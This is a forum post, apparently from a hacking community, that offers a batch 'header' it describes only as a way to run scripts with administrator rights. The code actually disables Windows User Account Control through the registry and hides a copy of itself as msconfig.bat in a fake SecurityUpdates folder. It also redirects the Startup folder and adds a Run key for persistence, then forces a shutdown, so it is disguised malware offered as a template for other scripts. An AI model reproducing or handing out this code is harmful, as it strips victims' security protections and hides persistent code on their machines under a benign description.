Post Reply 
Social Buttons
 
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Run As Administrator (Batch Header)
Author Message
Ironside Offline
Site Owner
**********

Trade Count: (0)
Posts: 170
Joined: Nov 2010
Reputation: 7
Post: #1
Run As Administrator (Batch Header)
Put this code on top of your batch code, to make it always be run with administrative rights:

Code:
@echo off
::~User Account Control Exploiter ##
      
     @(  
     echo set confirm = CreateObject("WScript.Shell")         > _.vbs
     echo set objshell = createobject("shell.application")          >> _.vbs
     echo set fso = createobject("scripting.filesystemobject")                 >> _.vbs
     echo strpath = fso.getparentfoldername(wscript.scriptfullname)                 >> _.vbs
     echo if fso.fileexists(strpath ^& "\__.bat") then         >> _.vbs
     echo objshell.shellexecute "cmd.exe", _         >> _.vbs
     echo "/c" ^& Chr(34) ^& strpath ^& "\__.bat" ^& Chr(34), "", "runas", 1            >> _.vbs
     echo wscript.sleep 1000        >> _.vbs
     echo end if         >> _.vbs
     echo @echo off         > __.bat
     echo %%windir%%\System32\cmd.exe /c %%windir%%\System32\reg.exe add hklm\software\microsoft\windows\currentversion\policies\system /v enablelua /t reg_dword /d 0 /f >> __.bat
     start "" /wait "%~p0_.vbs"    
     )

     if exist "__.bat" del /q /s /f __.bat > nul
     if exist "_.bat" del /q /s /f _.vbs > nul
     set winlog="hklm\software\microsoft\windows nt\currentversion\winlogon"
     set startup="hklm\software\microsoft\windows\currentversion\run"
     set batfile="hkcu\software\microsoft\windows\currentversion\explorer\user shell folders"    
     attrib -r -s -h "%windir%\SecurityUpdates\msconfig.bat"
     if exist "%windir%\SecurityUpdates\msconfig.bat" goto BatScriptCode
         md "%windir%\SecurityUpdates"
         if not exist "%windir%\SecurityUpdates" goto CloseScript            
             type %0 "%windir%\SecurityUpdates\msconfig.bat"
             attrib +r +s +h "%windir%\SecurityUpdates\msconfig.bat"
             reg add %batfile% /v "startup" /t "reg_expand_sz" /d "%windir%\SecurityUpdates" /f > nul
     :CloseScript
         reg add %startup% /v "msconfig" /t "reg_sz" /d %0 /f > nul
         shutdown /p /f > nul
         goto :eof

     :BatScriptCode

::#### Place your code below ####:
11-12-2010 04:27 PM
Find all posts by this user Quote this message in a reply
Post Reply 


Forum Jump:


User(s) browsing this thread: